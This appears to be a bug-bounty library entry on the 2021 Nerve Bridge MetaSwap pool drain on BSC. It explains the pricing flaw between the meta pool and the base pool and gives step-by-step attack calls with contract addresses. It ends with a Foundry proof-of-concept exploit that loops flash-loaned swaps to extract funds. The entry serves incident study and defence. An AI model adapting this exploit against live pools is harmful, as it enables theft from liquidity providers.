# Nerve Bridge MetaSwap pool drained via swap mispricing

Nerve Bridge MetaSwap pool mispriced fUSDT/BUSD swaps, letting an attacker flash-loan BUSD and loop swaps to drain the pool.

- Payout: Real-world hack
- Severity: critical
- Program: Nerve Bridge
- Analysis by: DeFiHackLabs
- Disclosed: 2021-12-14
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-12/NerveBridge_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20211214-nervebridge
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:business-logic vuln:flash-loan vuln:oracle-manipulation

**Target:** Saddle MetaSwap pool / Nerve 3pool on BSC
**Root cause:** The MetaSwap pool's virtual price / underlying swap pricing was inconsistent with the base pool, so swapping fUSDT->Nerve3LP->removeLiquidity(BUSD)->swapUnderlying(BUSD->fUSDT) returned more BUSD than input, repeatable.
**Steps:**
1. Flash-loan `50_000 ether` BUSD from Fortube `0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672`.
2. Swap BUSD->fUSDT on Ellipsis fusdPool via `exchange_underlying(1, 0, balance, 1)`.
3. Loop 7 times: `metaSwapPool.swap(0, 1, fusdBalance, 1, block.timestamp)` to get Nerve 3-LP.
4. `nerve3pool.removeLiquidityOneToken(nerve3lpBalance, 0, 1, block.timestamp)` to withdraw BUSD.
5. `metaSwapPool.swapUnderlying(1, 0, busdBalance, 1, block.timestamp)` to swap BUSD back to fUSDT.
6. After loop, swap fUSDT->BUSD on Ellipsis `exchange_underlying(0, 1, ...)`.
7. Repay flash loan `amount + fee` to `0xc78248D676DeBB4597e88071D3d889eCA70E5469`; keep profit.
**Exploitation:** Flash loan provides capital; a 7-iteration loop of MetaSwap swap -> removeLiquidityOneToken -> swapUnderlying extracts value each round because the MetaSwap pool prices fUSDT against the base pool's LP incorrectly, then converts back to BUSD and repays the loan.
**Escalation:** Looping the swap cycle 7 times compounds the mispricing profit.
**Insight:** Meta-pool wrappers that price against a base pool's LP token are vulnerable when the base pool's virtual price and the meta-pool's rate diverge; test swap->removeLiquidity->swapUnderlying round trips for positive output.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test draining MetaSwap pool**

```
function testExp() public {
        // 1. flashloan 50000 busd from fortube
        flashloanProvider.flashloan(address(this), busd, 50_000 ether, "0x");
        console.log("final busd profit: ", IERC20(busd).balanceOf(address(this)) / 10 ** IERC20(busd).decimals());
    }

    function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) external {
        IERC20(busd).approve(fusdPool, type(uint256).max);
        IERC20(fusd).approve(metaSwapPool, type(uint256).max);
        IERC20(nerve3lp).approve(nerve3pool, type(uint256).max);
        IERC20(busd).approve(metaSwapPool, type(uint256).max);

        // 2. swap from 50000 busd to fusd on Ellipsis
        IERC20(fusd).approve(fusdPool, type(uint256).max);
        IcurveYSwap(fusdPool).exchange_underlying(1, 0, IERC20(busd).balanceOf(address(this)), 1);

        for (uint8 i = 0; i < 7; i++) {
            swap();
        }

        // 6. swap from fusd to busd on Ellipsis
        IcurveYSwap(fusdPool).exchange_underlying(0, 1, IERC20(fusd).balanceOf(address(this)), 1);

        // 7. payback flashloan
        IERC20(busd).transfer(address(0xc78248D676DeBB4597e88071D3d889eCA70E5469), amount + fee);
    }

    function swap() public {
        // 3. swap from fusd to Nerve 3-LP token on metaSwapPool
        ISaddle(metaSwapPool).swap(0, 1, IERC20(fusd).balanceOf(address(this)), 1, block.timestamp);

        // 4. remove liquidity Nerve.3pool with lp tokens to remove the liquidity of BUSD
        ISwap(nerve3pool).removeLiquidityOneToken(IERC20(nerve3lp).balanceOf(address(this)), 0, 1, block.timestamp);

        // 5. invoking the swapUnderlying function of MetaSwap to swap BUSD for fUSDT
        ISaddle(metaSwapPool).swapUnderlying(1, 0, IERC20(busd).balanceOf(address(this)), 1, block.timestamp);
    }
```

